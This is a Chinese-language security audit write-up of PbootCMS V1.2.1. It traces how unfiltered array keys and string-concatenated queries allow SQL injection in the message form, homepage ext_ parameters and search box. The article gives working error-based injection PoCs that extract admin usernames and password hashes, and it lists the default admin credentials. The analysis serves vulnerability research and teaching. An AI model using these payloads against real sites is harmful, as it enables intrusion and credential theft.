php中PbootCMS漏洞审计怎么理解

这篇文章将为大家详细讲解有关php中PbootCMS漏洞审计怎么理解,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

PbootCMS漏洞审计

一、环境准备

下载地址:https://gitee.com/hnaoyun/PbootCMS/releases/V1.2.1

解析域名:http://www.pboot.cms/

这个系统很方便默认情况下,直接下载下来什么都不用做即可使用。(前提是开启 php sqlite 扩展)

我们将其改为 mysql 数据库使用。

mysql 新建数据库pbootcms,导入/PbootCMS/static/backup/sql文件夹里的 sql 文件。

php中PbootCMS漏洞审计怎么理解

php中PbootCMS漏洞审计怎么理解

成功导入,然后修改数据库配置文件,/config/database.php

php中PbootCMS漏洞审计怎么理解

后台admin.php默认账户密码

账户:admin

密码:123456

二、熟悉MVC

目录结构:

PbootCMS-V1.2.1
├─ apps         应用程序
│  ├─ admin     后台模块
│  ├─ api       api模块
│  ├─ common    公共模块
│  ├─ home      前台模块
├─ config       配置文件
│  ├─ config.php    配置文件
│  ├─ database.php  数据库配置文件
│  ├─ route.php     用户自定义路由规则
├─ core         框架核心
│  ├─ function  框架公共函数库
│  │  ├─ handle.php 助手函数库1
│  │  ├─ helper.php 助手函数库2
├─ template     html模板
├─ admin.php    管理端入口文件
├─ api.php      api入口文件
├─ index.php    前端入口文件

2.1 自定义路由

路由文件: PbootCMS/apps/common/route.php

php中PbootCMS漏洞审计怎么理解

例如: http://www.pboot.cms/index.php/about/1

因为他的这个文件在系统的自定义路由上所以上面的路由解析以后就是

路由:

'home/about' => 'home/about/index/scode',

对应文件:PbootCMS/apps/home/controller/AboutController.php

方法:index

参数:scode

那个 home 是由 对应的入口文件,例如文中的index.php中的URL_BLIND

php中PbootCMS漏洞审计怎么理解

我们自定义一个方法进行访问,

php中PbootCMS漏洞审计怎么理解

添加自定义路由:

php中PbootCMS漏洞审计怎么理解

成功访问:

php中PbootCMS漏洞审计怎么理解

2.2 mvc动态路由

如果对于自定义路由没有的定义的路由,就会按照普通 mvc 模式来访问了。

比如:http://www.pboot.cms/index.php/Message/add

路劲文件:PbootCMS/apps/home/controller/MessageController.php

方法:add

我们在 自己在MessageController.php添加一个自定义方法来访问,

public function test2()
    {
        echo "MessageController --> test2 方法";
    }

访问:

http://www.pboot.cms/index.php/Message/test2

三、内核分析

3.1 原生GET,POST,REQUEST

使用原生GET,POST,REQUEST变量是完全不过滤的

Message控制器中进行测试,

public function test2()
    {
        //echo "MessageController --> test2 方法";
        var_dump($_GET);
        echo "<br/>";
        var_dump($_POST);
        echo "<br/>";
        var_dump($_REQUEST);
    }

可以看到没有任何过滤,

php中PbootCMS漏洞审计怎么理解

所以使用原生变量获取方法就很有可能产生漏洞。

3.2 系统获取变量函数

路径:PbootCMS/core/function/helper.php

方法:get,post,request

最后return filter($name, $condition);中一系列检测,再最后return escape_string($data);进行过滤:

// 获取转义数据,支持字符串、数组、对象
function escape_string($string, $dropStr = true)
{
    if (! $string)
        return $string;
    if (is_array($string)) { // 数组处理
        foreach ($string as $key => $value) {
            $string[$key] = escape_string($value);
        }
    } elseif (is_object($string)) { // 对象处理
        foreach ($string as $key => $value) {
            $string->$key = escape_string($value);
        }
    } else { // 字符串处理
        if ($dropStr) {
            $string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|(extractvalue)|(name_const)|(concat)/i', '', $string);
        }
        $string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8');
        $string = addslashes($string);
    }
    return $string;
}

可以看得到所有传过来的内容都会先过一个正则匹配过滤

会将 0x7e,0x27,0x22,updatexml,extractvalue,name_const,concat 将其替换为''

再进行防止 xss和sql注入的再次过滤。

但是在这里只进行了数组 value的过滤$string[$key] = escape_string($value);, key 并没有过滤。

preg_replace可以双写绕过。

测试:

public function test2()
    {
        //echo "MessageController --> test2 方法";
        var_dump(get(a));
        echo "<br/>";
        var_dump(post(b));
        echo "<br/>";
        var_dump(request(c));
    }

效果如图

php中PbootCMS漏洞审计怎么理解

php中PbootCMS漏洞审计怎么理解

3.3 数据库内核

测试查询数据,

新建一个数据表,

php中PbootCMS漏洞审计怎么理解

MeaasgeController.php中,

public function test2()
    {
        //echo "MessageController --> test2 方法";
        $id = get("id");
        $result = $this->model->getUser($id);
        var_dump($result);
    }

PbootCMS/apps/home/model/ParserModel.php

// 查询测试用户
    public function getUser($id)
    {
        return parent::table("ay_testUser")->where("id=".$id)->select();
    }

访问http://www.pboot.cms/index.php/Message/test2?id=1,即可查询,

php中PbootCMS漏洞审计怎么理解

很明显,有sql注入:

php中PbootCMS漏洞审计怎么理解

测试插入数据,

MessageController.php:

public function test2()
    {
        // 增加用户
        $data["username"] = post("username");
        $data["password"] = post("password");
        if($data["username"]&&$data["password"])
            $result = $this->model->addUser($data);
        var_dump($result);
    }

PbootCMS/apps/home/model/ParserModel.php

// 插入用户数据
    public function addUser($data)
    {
        return parent::table("ay_testUser")->insert($data);
    }

php中PbootCMS漏洞审计怎么理解

成功插入。

测试更新数据

MessageController.php:

public function test2()
    {
        // 更新用户密码
        $data = [
            "username"=>post("username"),
            "password"=>post("password")
        ];
        $result = $this->model->updateUser($data);
        var_dump($result);

    }

PbootCMS/apps/home/model/ParserModel.php

// 更新用户数据
    public function updateUser($data)
    {
        return parent::table("ay_testUser")->where("username='".$data["username"]."'")->update(array("password"=>$data["password"]));
    }

测试成功。

php中PbootCMS漏洞审计怎么理解

测试删除数据

MessageController.php:

public function test2()
    {
        // 删除数据
        $id = get("id");
        $result = $this->model->deleteUser($id);
        var_dump($result);
    }

PbootCMS/apps/home/model/ParserModel.php

// 删除数据
    public function deleteUser($id)
    {
        return parent::table("ay_testUser")->where("id='$id'")->delete();
    }

php中PbootCMS漏洞审计怎么理解

测试删除成功。

3.4 调试数据库内核

where 方法得到拼接 where 条件,无过滤

php中PbootCMS漏洞审计怎么理解

select 方法最终得到

php中PbootCMS漏洞审计怎么理解

整个db 类的底层都是类似的字符串拼接

四、留言处 insert sql注入

由于此 cms 只会对数组键值进行过滤而不会对键进行过滤,恰巧这里浏览处可以接收数组。

poc:

# POST
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 111&mobile=111&content=111&checkcode=111

我们使用浏览器+phpstorm调试来探明注入漏洞的产生。(为方便测试,已修改源代码将验证码功能注释)

首先读取了数据库留言表字段,返回一个三维数组,数组table_name 为数据表名,name分别即为contactsmobile,content,这里用处即为作为 post接收数据的 键

php中PbootCMS漏洞审计怎么理解

这里即起到了作用,遍历二维数组的分别name值接收 post 数据。

$field_data = post($value->name);

php中PbootCMS漏洞审计怎么理解
将数据存储到 data 数组中,由于接受的 contacts 为数组,所以 data 也就变成了多维数组。

php中PbootCMS漏洞审计怎么理解

接下来,我们对addMessage操作进行调试探索,按 F7

if ($this->model->addMessage($data))

到了:

// 新增留言
    public function addMessage($data)
    {
        return parent::table('ay_message')->autoTime()->insert($data);
    }

继续 F7 ,这里主要是insert函数比较关键。

/**
     * 数据插入模型
     *
     * @param array $data
     *            可以为一维或二维数组,
     *            一维数组:array('username'=>"xsh",'sex'=>'男'),
     *            二维数组:array(
     *            array('username'=>"xsh",'sex'=>'男'),
     *            array('username'=>"gmx",'sex'=>'女')
     *            )
     * @param boolean $batch
     *            是否启用批量一次插入功能,默认true
     * @return boolean|boolean|array
     */
final public function insert(array $data = array(), $batch = true)
    {
        // 未传递数据时,使用data函数插入数据
        if (! $data && isset($this->sql['data'])) {
            return $this->insert($this->sql['data']);
        }
        if (is_array($data)) {
            if (! $data)
                return;
            if (count($data) == count($data, 1)) { // 单条数据
                $keys = '';
                $values = '';
                foreach ($data as $key => $value) {
                    if (! is_numeric($key)) {
                        $keys .= "`" . $key . "`,";
                        $values .= "'" . $value . "',";
                    }
                }
                if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
                    $keys .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
                    if ($this->intTimeFormat) {
                        $values .= "'" . time() . "','" . time() . "',";
                    } else {
                        $values .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
                    }
                }
                if ($keys) { // 如果插入数据关联字段,则字段以关联数据为准,否则以设置字段为准
                    $this->sql['field'] = '(' . substr($keys, 0, - 1) . ')';
                } elseif (isset($this->sql['field']) && $this->sql['field']) {
                    $this->sql['field'] = "({$this->sql['field']})";
                }
                $this->sql['value'] = "(" . substr($values, 0, - 1) . ")";
                $sql = $this->buildSql($this->insertSql);
            } else { // 多条数据
                if ($batch) { // 批量一次性插入
                    $key_string = '';
                    $value_string = '';
                    $flag = false;
                    foreach ($data as $keys => $value) {
                        if (! $flag) {
                            $value_string .= ' SELECT ';
                        } else {
                            $value_string .= ' UNION All SELECT ';
                        }
                        foreach ($value as $key2 => $value2) {
                            // 字段获取只执行一次
                            if (! $flag && ! is_numeric($key2)) {
                                $key_string .= "`" . $key2 . "`,";
                            }
                            $value_string .= "'" . $value2 . "',";
                        }
                        $flag = true;
                        if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
                            if ($this->intTimeFormat) {
                                $value_string .= "'" . time() . "','" . time() . "',";
                            } else {
                                $value_string .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
                            }
                        }
                        $value_string = substr($value_string, 0, - 1);
                    }
                    if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
                        $key_string .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
                    }
                    if ($key_string) { // 如果插入数据关联字段,则字段以关联数据为准,否则以设置字段为准
                        $this->sql['field'] = '(' . substr($key_string, 0, - 1) . ')';
                    } elseif (isset($this->sql['field']) && $this->sql['field']) {
                        $this->sql['field'] = "({$this->sql['field']})";
                    }
                    $this->sql['value'] = $value_string;
                    $sql = $this->buildSql($this->insertMultSql);
                    // 判断SQL语句是否超过数据库设置
                    if (get_db_type() == 'mysql') {
                        $max_allowed_packet = $this->getDb()->one('SELECT @@global.max_allowed_packet', 2);
                    } else {
                        $max_allowed_packet = 1 * 1024 * 1024; // 其他类型数据库按照1M限制
                    }
                    if (strlen($sql) > $max_allowed_packet) { // 如果要插入的数据过大,则转换为一条条插入
                        return $this->insert($data, false);
                    }
                } else { // 批量一条条插入
                    foreach ($data as $keys => $value) {
                        $result = $this->insert($value);
                    }
                    return $result;
                }
            }
        } elseif ($this->sql['from']) {
            if (isset($this->sql['field']) && $this->sql['field']) { // 表指定字段复制
                $this->sql['field'] = "({$this->sql['field']})";
            }
            $sql = $this->buildSql($this->insertFromSql);
        } else {
            return;
        }
        return $this->getDb()->amd($sql);
    }

判断 data 为空即返回

php中PbootCMS漏洞审计怎么理解

这里count用于判断是否 data 为多维数组,如果不是即相等,否则不相等。

if (count($data) == count($data, 1))

所以,转到 else ,$key_string$value_string用于拼接。

由于data['contacts']为数组,所以再次进行 foreach ,进行分别拼接键和键值。

php中PbootCMS漏洞审计怎么理解

其余操作一直为 拼接$value_string,接下来跳出了 foreach,

然后拼接$key_string,之后出现sql数组,进入buildSql函数,构建 Sql 语句,获得

$sql = "INSERT INTO ay_message (`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`,`create_time`,`update_time`)  SELECT '111','2021-02-21 13:38:58','2021-02-21 13:38:58' UNION All SELECT '2021-02-21 13:39:46','2021-02-21 13:39:46' UNION All SELECT '2021-02-21 13:39:51','2021-02-21 13:39:51' UNION All SELECT '2021-02-21 13:39:53','2021-02-21 13:39:53' UNION All SELECT '2021-02-21 13:40:03','2021-02-21 13:40:03' UNION All SELECT '2021-02-21 13:40:04','2021-02-21 13:40:04' UNION All SELECT '2021-02-21 13:40:13','2021-02-21 13:40:13' UNION All SELECT '2021-02-21 13:40:17','2021-02-21 13:40:17' UNION All SELECT '2021-02-21 13:40:20','2021-02-21 13:40:20' UNION All SELECT '2021-02-21 13:40:22','2021-02-21 13:40:22' UNION All SELECT '2021-02-21 13:40:25','2021-02-21 13:40:25'"

php中PbootCMS漏洞审计怎么理解

即发生了注入,拼接了恶意sql语句

INSERT INTO ay_message (`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`,`create_time`,`update_time`)

php中PbootCMS漏洞审计怎么理解

五、前台首页sql注入

poc:

http://www.pboot.cms/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=12

PbootCMS/apps/home/controller/IndexController.php, index 方法:

// parserAfter -> parserSpecifyListLabel
    public function index()
    {
        $content = parent::parser('index.html'); // 框架标签解析
        $content = $this->parser->parserBefore($content); // CMS公共标签前置解析
        $content = $this->parser->parserPositionLabel($content, - 1, '首页', SITE_DIR . '/'); // CMS当前位置标签解析
        $content = $this->parser->parserSpecialPageSortLabel($content, 0, '', SITE_DIR . '/'); // 解析分类标签
        $content = $this->parser->parserAfter($content); // CMS公共标签后置解析
        $this->cache($content, true);
    }

跟进

$content = $this->parser->parserAfter($content); 这个方法

PbootCMS/apps/home/controller/ParserController.php,parserAfter()

// 解析全局后置公共标签
    public function parserAfter($content)
    {
    	...
        $content = $this->parserSpecifyListLabel($content); // 指定列表
        return $content;
    }
// 解析指定分类列表标签
public function parserSpecifyListLabel($content)
{
  ...
  // 数据筛选 骚操作注入
  $where2 = array();
  foreach ($_GET as $key => $value) {
    if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入
      $where2[$key] = get($key);
    }
  }
  ...
  // 读取数据
  if ($page) {
  	$data = $this->model->getList($scode, $num, $order, $where1, $where2);
  } else {
  	$data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
  }
}

这里读取数据$this->model->getSpecifyList

这里接收了外部了外部所有的get参数然后判断了开头的前4个字符是否 ext_ 开头,如果符合就直接拼接进入$where2这个数组 然后带入数据库进行getList方法与getSpecifyList查询,而底层是字符串拼接,过滤了value没有过滤key所以有注入

最终 sql 语句

SELECT  a.*,b.name as sortname,b.filename as sortfilename,c.name as subsortname,c.filename as subfilename,d.type,e.* FROM ay_content a  LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.acode='cn' AND a.status=1 AND d.type=2) AND(ext_price=1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));# like '%12%' )   ORDER BY date DESC,sorting ASC,id DESC LIMIT 4

六、搜索框sql注入

poc:

http://www.pboot.cms/index.php/Search/index?keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123

PbootCMS/apps/home/controller/SearchController.php中 index 方法

public function index()
    {
        $content = parent::parser('search.html'); // 框架标签解析
        $content = $this->parser->parserBefore($content); // CMS公共标签前置解析
        $content = $this->parser->parserPositionLabel($content, 0, '搜索', url('/home/Search/index')); // CMS当前位置标签解析
        $content = $this->parser->parserSpecialPageSortLabel($content, 0, '搜索结果', url('/home/Search/index')); // 解析分类标签
        $content = $this->parser->parserSearchLabel($content); // 搜索结果标签
        $content = $this->parser->parserAfter($content); // CMS公共标签后置解析
        $this->cache($content, true);
    }

跟进

$this->parser->parserSearchLabel

PbootCMS/apps/home/controller/ParserController.php中 parserSearchLabel 方法,

这里将 恶意语句带入,

php中PbootCMS漏洞审计怎么理解

接下来就是读取数据这里

// 读取数据
if (! $data = $this->model->getList($scode, $num, $order, $where1, $where2, $fuzzy)) {
          $content = str_replace($matches[0][$i], '', $content);
          continue;
}

这里接收了外部了外部所有的get参数然后就直接拼接进入$where2这个数组 然后带入数据库进行getList方法查询,而底层是字符串拼接,过滤了value没有过滤key所以有注入.

关于php中PbootCMS漏洞审计怎么理解就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

原创文章,作者:3628473679,如若转载,请注明出处:https://blog.ytso.com/227640.html

(0)
上一篇 2022年1月10日
下一篇 2022年1月10日

相关推荐

发表回复

登录后才能评论